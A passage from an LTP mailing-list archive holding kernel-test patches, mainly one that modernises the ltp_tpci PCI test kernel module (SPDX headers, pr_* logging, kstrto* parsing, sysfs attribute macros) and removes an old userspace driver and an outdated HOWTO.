+	.needs_root = 1,
+	.options = (struct tst_option[]) {
+		{"d:", &target_device, "Target PCI device for destructive tests (e.g. 00:28)"},
+		{}
+	},
+};
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h b/testcases/kernel/device-drivers/pci/tpci/tpci.h
similarity index 100%
rename from testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h
rename to testcases/kernel/device-drivers/pci/tpci/tpci.h
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/Makefile b/testcases/kernel/device-drivers/pci/tpci_kernel/Makefile
deleted file mode 100644
index 6e1284d6cf53f078b610f175f2b2d899e6de8be5..0000000000000000000000000000000000000000
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/Makefile
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-ifneq ($(KERNELRELEASE),)
-
-obj-m := ltp_tpci.o
-
-else
-
-top_srcdir	?= ../../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-REQ_VERSION_MAJOR := 2
-REQ_VERSION_PATCH := 6
-
-MAKE_TARGETS := ltp_tpci.ko
-
-include $(top_srcdir)/include/mk/module.mk
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
-
-endif
diff --git a/testcases/kernel/device-drivers/pci/tpci_user/.gitignore b/testcases/kernel/device-drivers/pci/tpci_user/.gitignore
deleted file mode 100644
index b1817e5fba323c996651324b0879359fd941a43a..0000000000000000000000000000000000000000
--- a/testcases/kernel/device-drivers/pci/tpci_user/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/tpci
diff --git a/testcases/kernel/device-drivers/pci/tpci_user/Makefile b/testcases/kernel/device-drivers/pci/tpci_user/Makefile
deleted file mode 100644
index 6ba346520e199cfe1673548179684c5c606e6e4b..0000000000000000000000000000000000000000
--- a/testcases/kernel/device-drivers/pci/tpci_user/Makefile
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-top_srcdir		?= ../../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/device-drivers/pci/tpci_user/tpci.c b/testcases/kernel/device-drivers/pci/tpci_user/tpci.c
deleted file mode 100644
index 687d2a62b0bccc2fa84bb401b61f7e467a630a41..0000000000000000000000000000000000000000
--- a/testcases/kernel/device-drivers/pci/tpci_user/tpci.c
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of
- * the License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software Foundation,
- * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- *
- * Author: Alexey Kodanev <alexey.kodanev@oracle.com>
- *
- */
-
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-
-#include "test.h"
-#include "tso_safe_macros.h"
-#include "tso_module.h"
-#include "tst_security.h"
-
-#include "../tpci_kernel/tpci.h"
-
-char *TCID = "test_pci";
-int TST_TOTAL = PCI_TCASES_NUM;
-
-static const char module_name[]	= PCI_DEVICE_NAME ".ko";
-static const char dev_result[]	= "/sys/devices/" PCI_DEVICE_NAME "/result";
-static const char dev_tcase[]	= "/sys/devices/" PCI_DEVICE_NAME "/tcase";
-static const char dev_busslot[]	= "/sys/devices/" PCI_DEVICE_NAME "/bus_slot";
-static int module_loaded;
-
-static void cleanup(void)
-{
-	if (module_loaded)
-		tst_module_unload(NULL, module_name);
-}
-
-void setup(void)
-{
-	tst_require_root();
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	tst_requires_module_signature_disabled();
-	if (tst_lockdown_enabled() > 0 || tst_secureboot_enabled() > 0)
-		tst_brkm(TCONF, NULL, "Cannot load unsigned modules in Lockdown/Secure Boot");
-}
-
-static void run_pci_testcases(int bus, int slot)
-{
-	int i, res;
-	for (i = 0; i < TST_TOTAL; ++i) {
-		/* skip pci disable test-case, it is manual */
-		if (i == PCI_DISABLE)
-			continue;
-
-		SAFE_FILE_PRINTF(cleanup, dev_tcase, "%d", i);
-		SAFE_FILE_SCANF(cleanup, dev_result, "%d", &res);
-
-		tst_resm(res, "PCI bus %02x slot %02x : Test-case '%d'",
-			bus, slot, i);
-	}
-}
-
-static void test_run(void)
-{
-	tst_module_load(cleanup, module_name, NULL);
-	module_loaded = 1;
-
-	char buf[6];
-	int i, j, fd, count;
-
-	for (i = 0; i < MAX_BUS; ++i) {
-		for (j = 0; j < MAX_DEVFN; ++j) {
-			/* set pci device for the test */
-			fd = SAFE_OPEN(cleanup, dev_busslot, O_WRONLY);
-			count = snprintf(buf, 6, "%u", i << 8 | j);
-			errno = 0;
-			if (write(fd, buf, count) < 0) {
-				if (errno == ENODEV) {
-					SAFE_CLOSE(cleanup, fd);
-					continue;
-				}
-				tst_brkm(TBROK | TERRNO, cleanup,
-					"write to '%s' failed", dev_busslot);
-			}
-			SAFE_CLOSE(cleanup, fd);
-
-			run_pci_testcases(i, j);
-
-		}
-	}
-}
-
-int main(void)
-{
-	setup();
-
-	test_run();
-
-	cleanup();
-
-	tst_exit();
-}

-- 
2.51.0


From andrea.cervesato@suse.de  Thu Aug  6 10:10:36 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Thu, 06 Aug 2026 10:10:36 +0200
Subject: [LTP] [PATCH v2 1/2] tpci: refactor kernel module
In-Reply-To: <20260806-tpci_refactoring-v2-0-bdc3a749ca02@suse.com>
References: <20260806-tpci_refactoring-v2-0-bdc3a749ca02@suse.com>
Message-ID: <20260806-tpci_refactoring-v2-1-bdc3a749ca02@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

The kernel module lacked proper SPDX licensing, documentation, and
used deprecated permission macros.

Update the code to modern kernel standards by applying SPDX tags,
replacing sscanf with kstrto*, replacing custom print macros with
standard pr_* macros, adding a documentation block, and removing
the stale pci-exp-tests-HOWTO file which references long-removed
paths and macros.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 .../device-drivers/pci/tpci_kernel/ltp_tpci.c      | 230 +++++++++++----------
 .../pci/tpci_kernel/pci-exp-tests-HOWTO            |  58 ------
 .../kernel/device-drivers/pci/tpci_kernel/tpci.h   |  21 +-
 3 files changed, 123 insertions(+), 186 deletions(-)

diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c b/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
index 45138d834d099b62f201977b284bc8d12647056c..033ac1f0008e358d1afd0240bf1a9855ec32e1fd 100644
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
+++ b/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
@@ -1,47 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
+ *	5/20/2003 - Sean Ruyle (srruyle@us.ibm.com)
  * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
+ *	8/20/2004 - Amit Khanna (amit.khanna@intel.com)
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * This PCI and PCI-Express testing kernel module allows test calls to be
+ * driven through various sysfs interactions in a user-space program.
  *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * This pci and pci-express testing kernel module will allow test calls
- * to be driven through various ioctl calls in a
- * user space program that has attained the appropriate
- * file descriptor for this device. For the functions of
- * this module to work correctly there must be a pci / pci-express
- * device somewhere in the system. The tests do not need
- * a specific device, and the first pci device available
- * will be grabbed.
+ * For the functions of this module to work correctly, there must be a
+ * PCI / PCI-Express device somewhere in the system. The tests do not need
+ * a specific device; the first PCI device available will be grabbed.
  *
- * author: Sean Ruyle (srruyle@us.ibm.com)
- * date:   5/20/2003
- * PCI-Express test scripts author: Amit Khanna (amit.khanna@intel.com)
- * date:   8/20/2004
+ * The following test cases can be called from user-space:
  *
- * file:   tpci.c,
- * module: tpci
+ * - PCI_DISABLE
+ * - PCI_ENABLE
+ * - FIND_BUS
+ * - FIND_DEVICE
+ * - FIND_CLASS
+ * - FIND_SUBSYS
+ * - BUS_SCAN
+ * - SLOT_SCAN
+ * - BUS_ADD_DEVICES
+ * - MATCH_DEVICE
+ * - REG_DRIVER
+ * - UNREG_DRIVER
+ * - PCI_RESOURCES
+ * - SAVE_STATE
+ * - RESTORE_STATE
+ * - FIND_CAP
+ * - PCI_EXP_CAP_CONFIG
  */
 
+#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
+
 #include <linux/types.h>
 #include <linux/kernel.h>
 #include <linux/fs.h>
-#include <linux/ioctl.h>
 #include <linux/module.h>
 #include <linux/init.h>
 #include <linux/pci.h>
-
 #include "tpci.h"
 
 MODULE_AUTHOR("Sean Ruyle <srruyle@us.ibm.com>");
@@ -50,13 +52,6 @@ MODULE_AUTHOR("Copyright (c) 2013 Oracle and/or its affiliates");
 MODULE_DESCRIPTION("LTP PCI Test");
 MODULE_LICENSE("GPL");
 
-#define prk_err(fmt, ...) \
-	pr_err(PCI_DEVICE_NAME ": " fmt "\n", ##__VA_ARGS__)
-#define prk_info(fmt, ...) \
-	pr_info(PCI_DEVICE_NAME ": " fmt "\n", ##__VA_ARGS__)
-#define prk_debug(fmt, ...) \
-	pr_debug(PCI_DEVICE_NAME ": " fmt "\n", ##__VA_ARGS__)
-
 #define TPASS	0
 #define TFAIL	1
 #define TSKIP	32
@@ -105,15 +100,19 @@ static int probe_pci_dev(unsigned int bus, unsigned int slot)
 	}
 
 	dev = pci_get_domain_bus_and_slot(0, bus, slot);
-	if (!dev || !dev->driver)
+	if (!dev)
+		return -ENODEV;
+	if (!dev->driver) {
+		pci_dev_put(dev);
 		return -ENODEV;
+	}
 
-	prk_info("found pci_dev '%s', bus %u, devfn %u",
+	pr_info("found pci_dev '%s', bus %u, devfn %u\n",
 		pci_name(dev), bus, slot);
 
 	ltp_pci.dev = dev;
 	ltp_pci.bus = dev->bus;
-	prk_info("Bus number: %d", dev->bus->number);
+	pr_info("Bus number: %d\n", dev->bus->number);
 	return 0;
 }
 
@@ -126,20 +125,20 @@ static int pci_enable(void)
 {
 	struct pci_dev *dev = ltp_pci.dev;
 
-	prk_info("enable pci device");
+	pr_info("enable pci device\n");
 
 	/* check if can enable the device pointer */
 	if (!dev) {
-		prk_err("dev is NULL");
+		pr_err("dev is NULL\n");
 		return TFAIL;
 	}
 
 	if (pci_enable_device(dev)) {
-		prk_err("failed to enable pci device");
+		pr_err("failed to enable pci device\n");
 		return TFAIL;
 	}
 
-	prk_info("enabled pci device");
+	pr_info("enabled pci device\n");
 	return TPASS;
 }
 
@@ -147,15 +146,15 @@ static int pci_disable(void)
 {
 	struct pci_dev *dev = ltp_pci.dev;
 
-	prk_info("disable pci device");
+	pr_info("disable pci device\n");
 
 	/* check if device pointer exists */
 	if (!dev) {
-		prk_err("dev is NULL");
+		pr_err("dev is NULL\n");
 		return TFAIL;
 	}
 
-	prk_info("is pci enabled '%d', is managed '%d'",
+	pr_info("is pci enabled '%d', is managed '%d'\n",
 		pci_is_enabled(dev), pci_is_managed(dev));
 
 	pci_release_regions(dev);
@@ -164,13 +163,13 @@ static int pci_disable(void)
 	if (dev->current_state == PCI_D3hot ||
 		dev->current_state == PCI_D3cold) {
 
-		prk_info("disabled pci device, state '%s'",
+		pr_info("disabled pci device, state '%s'\n",
 			pci_power_name(dev->current_state));
 		return TPASS;
 
 	}
 
-	prk_err("failed to disable pci device, state '%s'",
+	pr_err("failed to disable pci device, state '%s'\n",
 		pci_power_name(dev->current_state));
 	return TFAIL;
 }
@@ -186,19 +185,19 @@ static int test_find_bus(void)
 	int num = ltp_pci.bus->number;
 	struct pci_bus *temp = NULL;
 
-	prk_info("find bus");
+	pr_info("find bus\n");
 
 	temp = pci_find_bus(pci_domain_nr(ltp_pci.bus), num);
 
 	if (!temp) {
-		prk_info("pci_find_bus failed");
+		pr_info("pci_find_bus failed\n");
 		return TFAIL;
 	} else if (temp->number != num) {
-		prk_err("returned bus pointer w/ wrong bus number");
+		pr_err("returned bus pointer w/ wrong bus number\n");
 		return TFAIL;
 	}
 
-	prk_info("success returned bus pointer");
+	pr_info("success returned bus pointer\n");
 	return TPASS;
 }
 
@@ -212,16 +211,16 @@ static int test_find_class(void)
 	unsigned int num = ltp_pci.dev->class;
 	struct pci_dev *temp = NULL;
 
-	prk_info("find pci class");
+	pr_info("find pci class\n");
 
 	temp = pci_get_class(num, NULL);
 
 	if (!temp) {
-		prk_err("failed to find pci device from class number");
+		pr_err("failed to find pci device from class number\n");
 		return TFAIL;
 	}
 
-	prk_info("found pci device from class number");
+	pr_info("found pci device from class number\n");
 	pci_dev_put(temp);
 
 	return TPASS;
@@ -238,16 +237,16 @@ static int test_find_device(void)
 	struct pci_dev *temp = NULL;
 	unsigned short ven = ltp_pci.dev->vendor, dev = ltp_pci.dev->device;
 
-	prk_info("get pci device");
+	pr_info("get pci device\n");
 
 	temp = pci_get_device(ven, dev, NULL);
 
 	if (!temp) {
-		prk_err("failed to find pci device from device info");
+		pr_err("failed to find pci device from device info\n");
 		return TFAIL;
 	}
 
-	prk_info("found pci device from device info");
+	pr_info("found pci device from device info\n");
 	pci_dev_put(temp);
 
 	return TPASS;
@@ -267,15 +266,15 @@ static int test_find_subsys(void)
 		ss_ven = ltp_pci.dev->subsystem_vendor,
 		ss_dev = ltp_pci.dev->subsystem_device;
 
-	prk_info("get pci subsys");
+	pr_info("get pci subsys\n");
 	temp = pci_get_subsys(ven, dev, ss_ven, ss_dev, NULL);
 
 	if (!temp) {
-		prk_err("failed to find pci device from subsys info");
+		pr_err("failed to find pci device from subsys info\n");
 		return TFAIL;
 	}
 
-	prk_info("found pci device from subsys info");
+	pr_info("found pci device from subsys info\n");
 	pci_dev_put(temp);
 
 	return TPASS;
@@ -293,7 +292,7 @@ static int test_scan_bus(void)
 	int num;
 	struct pci_bus *bus = ltp_pci.bus;
 
-	prk_info("scan pci bus");
+	pr_info("scan pci bus\n");
 
 	num = pci_rescan_bus(bus);
 	/*
@@ -301,10 +300,10 @@ static int test_scan_bus(void)
 	 * max number of bus or less than 0
 	 */
 	if (num > MAX_BUS || num < 0) {
-		prk_err("failed scan bus");
+		pr_err("failed scan bus\n");
 		return TFAIL;
 	}
-	prk_info("success scan bus");
+	pr_info("success scan bus\n");
 	return TPASS;
 }
 
@@ -319,18 +318,18 @@ static int test_slot_scan(void)
 	int ret, num = ltp_pci.dev->devfn;
 	struct pci_bus *bus = ltp_pci.bus;
 
-	prk_info("scan pci slot");
+	pr_info("scan pci slot\n");
 
 	if ((num % 8) != 0)
 		return TPASS;
 
 	ret = pci_scan_slot(bus, num);
 	if (ret >= 0) {
-		prk_info("found '%d' devices from scan slot", ret);
+		pr_info("found '%d' devices from scan slot\n", ret);
 		return TPASS;
 	}
 
-	prk_err("pci_scan_slot failed");
+	pr_err("pci_scan_slot failed\n");
 	return TFAIL;
 }
 
@@ -345,16 +344,16 @@ static int test_bus_add_devices(void)
 {
 	struct pci_bus *bus = ltp_pci.bus;
 
-	prk_info("add bus device");
+	pr_info("add bus device\n");
 
 	pci_bus_add_devices(bus);
 
 	if (bus) {
-		prk_info("called bus_add_device");
+		pr_info("called bus_add_device\n");
 		return TPASS;
 	}
 
-	prk_err("bus_add_device failed");
+	pr_err("bus_add_device failed\n");
 	return TFAIL;
 }
 
@@ -369,23 +368,23 @@ static int test_match_device(void)
 	struct pci_driver *drv;
 	const struct pci_device_id *id;
 
-	prk_info("test pci_device_id()");
+	pr_info("test pci_device_id()\n");
 
 	drv = pci_dev_driver(dev);
 
 	if (!drv) {
-		prk_err("driver pointer not allocated for pci_dev");
+		pr_err("driver pointer not allocated for pci_dev\n");
 		return TFAIL;
 	}
 
 	id = pci_match_id(drv->id_table, dev);
 
 	if (id) {
-		prk_info("match device success");
+		pr_info("match device success\n");
 		return TPASS;
 	}
 
-	prk_err("failed return pci_device_id");
+	pr_err("failed return pci_device_id\n");
 	return TFAIL;
 }
 
@@ -398,13 +397,13 @@ static int test_match_device(void)
  */
 static int test_reg_driver(void)
 {
-	prk_info("test pci_register_driver");
+	pr_info("test pci_register_driver\n");
 	if (pci_register_driver(&ltp_pci_driver)) {
-		prk_err("unsuccessful registering pci driver");
+		pr_err("unsuccessful registering pci driver\n");
 		return TFAIL;
 	}
 	pci_registered = 1;
-	prk_info("success driver register");
+	pr_info("success driver register\n");
 	return TPASS;
 }
 
@@ -431,12 +430,12 @@ static int test_assign_resources(void)
 	struct pci_dev *dev = ltp_pci.dev;
 	struct resource *r;
 
-	prk_info("assign resources");
+	pr_info("assign resources\n");
 
 	for (i = 0; i < 7; ++i) {
-		prk_info("assign resource #%d", i);
+		pr_info("assign resource #%d\n", i);
 		r = &dev->resource[i];
-		prk_info("name = %s, flags = %lu, start 0x%lx, end 0x%lx",
+		pr_info("name = %s, flags = %lu, start 0x%lx, end 0x%lx\n",
 			r->name, r->flags,
 			(unsigned long)r->start, (unsigned long)r->end);
 
@@ -450,14 +449,14 @@ static int test_assign_resources(void)
 
 			pci_release_resource(dev, i);
 			ret = pci_assign_resource(dev, i);
-			prk_info("assign resource to '%d', ret '%d'", i, ret);
+			pr_info("assign resource to '%d', ret '%d'\n", i, ret);
 
 			if (ret == 0 && dev->hdr_type == PCI_HEADER_TYPE_NORMAL) {
 				int attach_ret;
 
 				attach_ret = device_attach(&dev->dev);
 				if (attach_ret < 0)
-					prk_info("device_attach failed for endpoint, ret: %d", attach_ret);
+					pr_info("device_attach failed for endpoint, ret: %d\n", attach_ret);
 			}
 
 			rc |= (ret < 0 && ret != -EBUSY) ? TFAIL : TPASS;
@@ -483,14 +482,14 @@ static int test_save_state(void)
 {
 	struct pci_dev *dev = ltp_pci.dev;
 
-	prk_info("save state");
+	pr_info("save state\n");
 
 	if (pci_save_state(dev)) {
-		prk_err("failed save state");
+		pr_err("failed save state\n");
 		return TFAIL;
 	}
 
-	prk_info("saved state of device");
+	pr_info("saved state of device\n");
 	return TPASS;
 }
 
@@ -503,7 +502,7 @@ static int test_restore_state(void)
 {
 	struct pci_dev *dev = ltp_pci.dev;
 
-	prk_info("restore state");
+	pr_info("restore state\n");
 
 	pci_restore_state(dev);
 
@@ -521,12 +520,12 @@ static int test_find_cap(void)
 {
 	struct pci_dev *dev = ltp_pci.dev;
 
-	prk_info("find device capability");
+	pr_info("find device capability\n");
 
 	if (pci_find_capability(dev, PCI_CAP_ID_PM))
-		prk_info("does not have tested capability");
+		pr_info("device has PM capability\n");
 	else
-		prk_info("device has PM capability");
+		pr_info("does not have tested capability\n");
 
 	return TPASS;
 }
@@ -546,24 +545,24 @@ static int test_read_pci_exp_config(void)
 	/* skip the test if device doesn't have PCIe capability */
 	pos = pci_pcie_cap(dev);
 	if (!pos) {
-		prk_info("device doesn't have PCI-EXP capability");
+		pr_info("device doesn't have PCI-EXP capability\n");
 		return TSKIP;
 	}
-	prk_info("read the PCI Express configuration registers at 0x%x", pos);
+	pr_info("read the PCI Express configuration registers at 0x%x\n", pos);
 
 	if (pci_read_config_dword(dev, pos, &header)) {
-		prk_err("failed to read config dword");
+		pr_err("failed to read config dword\n");
 		return TFAIL;
 	}
 
 	/* comparing the value read with PCI_CAP_ID_EXP macro */
 	if ((header & 0x000000ff) == PCI_CAP_ID_EXP) {
-		prk_info("correct val read using PCIE driver installed: 0x%x",
+		pr_info("correct val read using PCIE driver installed: 0x%x\n",
 			header);
 		return TPASS;
 	}
 
-	prk_err("incorrect val read. PCIE driver/device not installed: 0x%x",
+	pr_err("incorrect val read. PCIE driver/device not installed: 0x%x\n",
 		header);
 	return TFAIL;
 }
@@ -573,7 +572,7 @@ static int test_case(unsigned int cmd)
 	int rc = TSKIP;
 
 	if (!ltp_pci.dev || !ltp_pci.bus) {
-		prk_err("device or bus not selected for test");
+		pr_err("device or bus not selected for test\n");
 		return TFAIL;
 	}
 
@@ -630,7 +629,7 @@ static int test_case(unsigned int cmd)
 		rc = test_read_pci_exp_config();
 		break;
 	default:
-		prk_info("mismatching test-case command %d", cmd);
+		pr_info("mismatching test-case command %d\n", cmd);
 		break;
 	}
 
@@ -645,7 +644,7 @@ static int test_result;
 
 static void device_release(struct device *dev)
 {
-	prk_info("device released\n");
+	pr_info("device released\n");
 }
 
 static struct device tdev = {
@@ -654,34 +653,36 @@ static struct device tdev = {
 };
 
 /* print test result to sysfs file */
-static ssize_t sys_result(struct device *dev,
+static ssize_t result_show(struct device *dev,
 	struct device_attribute *attr, char *buf)
 {
 	return scnprintf(buf, PAGE_SIZE, "%d\n", test_result);
 }
-static DEVICE_ATTR(result, S_IRUSR, sys_result, NULL);
+static DEVICE_ATTR_RO(result);
 
-static ssize_t sys_tcase(struct device *dev,
+static ssize_t tcase_store(struct device *dev,
 	struct device_attribute *attr,  const char *buf, size_t count)
 {
 	int tc = 0;
 
-	sscanf(buf, "%d", &tc);
-	prk_info("test-case %d", tc);
+	if (kstrtoint(buf, 10, &tc) < 0)
+		return -EINVAL;
+	pr_info("test-case %d\n", tc);
 
 	test_result = test_case(tc);
 
 	return count;
 }
-static DEVICE_ATTR(tcase, S_IWUSR, NULL, sys_tcase);
+static DEVICE_ATTR_WO(tcase);
 
-static ssize_t sys_bus_slot(struct device *dev,
+static ssize_t bus_slot_store(struct device *dev,
 	struct device_attribute *attr,  const char *buf, size_t count)
 {
 	unsigned int res, bus, slot;
 	int ret;
 
-	sscanf(buf, "%u", &res);
+	if (kstrtouint(buf, 10, &res) < 0)
+		return -EINVAL;
 
 	bus = res >> 8 & 0xFF;
 	slot = res & 0xFF;
@@ -692,35 +693,36 @@ static ssize_t sys_bus_slot(struct device *dev,
 
 	return count;
 }
-static DEVICE_ATTR(bus_slot, S_IWUSR, NULL, sys_bus_slot);
+static DEVICE_ATTR_WO(bus_slot);
 
 static int tpci_init_module(void)
 {
 	int err = 0;
-	prk_info("Starting module");
+
+	pr_info("Starting module\n");
 
 	err = device_register(&tdev);
 	if (err) {
-		prk_err("Unable to register device");
+		pr_err("Unable to register device\n");
 		goto err0;
 	}
-	prk_info("device registered\n");
+	pr_info("device registered\n");
 
 	err = device_create_file(&tdev, &dev_attr_result);
 	if (err) {
-		prk_err("Can't create sysfs file 'result'");
+		pr_err("Can't create sysfs file 'result'\n");
 		goto err1;
 	}
 
 	err = device_create_file(&tdev, &dev_attr_tcase);
 	if (err) {
-		prk_err(": Can't create sysfs file 'tc'");
+		pr_err("Can't create sysfs file 'tc'\n");
 		goto err2;
 	}
 
 	err = device_create_file(&tdev, &dev_attr_bus_slot);
 	if (err) {
-		prk_err(": Can't create sysfs file 'bus_slot'");
+		pr_err("Can't create sysfs file 'bus_slot'\n");
 		goto err3;
 	}
 
@@ -739,7 +741,7 @@ module_init(tpci_init_module)
 
 static void tpci_exit_module(void)
 {
-	prk_debug("Unloading module\n");
+	pr_debug("Unloading module\n");
 	if (ltp_pci.dev)
 		pci_dev_put(ltp_pci.dev);
 
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/pci-exp-tests-HOWTO b/testcases/kernel/device-drivers/pci/tpci_kernel/pci-exp-tests-HOWTO
deleted file mode 100644
index fb84dfc6189f2a56240d717eab87e7ee2df86fc6..0000000000000000000000000000000000000000
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/pci-exp-tests-HOWTO
+++ /dev/null
@@ -1,58 +0,0 @@
-HOWTO -->	PCI-Express test scripts for LTP
-	Amit Khanna amit.khanna@intel.com
-			08/20/2004
-
-1. About this HOWTO
-
-This document describes the addition of PCI-Express test cases to the existing LTP project.
-These test cases/scripts will enhance the LTP's capability to test PCI-Express devices/drivers.
-
-2. Copyright (c) Intel Corporation, 2004
-
-3. What is this patch doing?
-
-a. A function "test_find_pci_exp_cap" has been added to the tpci.c file of LTP project.
-	(\ltp\testcases\kernel\device-drivers\pci\tpci\tpci.c)
-	 This function makes a call to pci_find_capability, which will determine if a device
-	 has PCI-Express capability. A PCI Express device function indicates PCI-Express support
-	 by implementing the PCI-Express capability structure in its capability list.
-
-b. A function "test_read_pci_exp_config" has been added to the tpci.c file of LTP project.
- 	This function calls "pci_config_read" and determines if the PCI-Express enhanced config
- 	space of the device can be read successfully or not.
-
-	"pci_config_read" function here reads the Advanced Error Reporting CAP-ID register located
-	 at the PCI-Express enhanced config space address 0x100. The value of this register is a READ-ONLY
-	 value which is constant on all the PCI-Express devices. If the value read from this register matches with the
-	 defined macro AER_CAP_ID_VALUE(in tpci.h) that means that PCI-Express driver is accessing
-	 the enhanced config space SUCCESSFULLY.
-
-c. A user space function 'ki_generic()" is already available in user_tpci.c file of LTP project,
-   (\ltp\testcases\kernel\device-drivers\pci\user_tpci\user_tpci.c) which will drive the kernel
-   module tpci to test various pci and pci-express functions (defined & prototyped in tpci.c).
-
-
-4. Including PCI-Express support into the kernel
-
-By default, the kernel may not enable PCI-Express feature. A kernel
-configuration option must be selected to enable PCI-Express support.
-
-To include PCI-Express support into the kernel requires users to enable PCI-Access mode with
-"Any" or "MMCFG" in the "General Setup" menu in the kernel configuration menu.
-
-5. FAQ
-
-Q1. Are there any limitations on using this patch?
-
-A1. If the device supports PCI-Express feature and the PCI-Express feature is enabled in the kernel,
-then only a user will be able to access the PCI-Express space.
-Even if the device doesn't support PCI-Express feature, the traditional PCI-space would still be accessible.
-
-Q2. What is this AER_CAP_ID_VALUE macro defined in tpci.h?
-
-A2. AER_CAP_ID_VALUE represents the value of Advanced Error Reporting Capability ID in the PCI Express config space.
-The default value of this is always same for all PCI-Express devices. i.e. 0x14011.
-In the function "test_read_pci_exp_config" in tpci.c file, it is compared with the value retrieved from a PCI-Express
-capable device. If both the values match that means that the PCI-Express driver is accessing the PCI-Express config space
-SUCCESSFULLY.
-***FINISH***
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h b/testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h
index f7defb29ffc781c6ce7472b9c9545189dc4ca804..7791e3ec78a957e97a8123d7776080a7ee46f9e0 100644
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h
+++ b/testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h
@@ -1,22 +1,13 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
+#ifndef LTP_TPCI_H
+#define LTP_TPCI_H
+
 #define PCI_DEVICE_NAME		"ltp_tpci"
 #define MAX_DEVFN		256
 #define MAX_BUS			256
@@ -41,3 +32,5 @@ enum PCI_TCASES {
 	PCI_EXP_CAP_CONFIG,
 	PCI_TCASES_NUM,
 };
+
+#endif

-- 
2.51.0


From chrubis@suse.cz  Thu Aug  6 10:34:47 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Thu, 6 Aug 2026 10:34:47 +0200
Subject: [LTP] [PATCH] lib: tst_res(): Fix TDEBUG | TERRNO
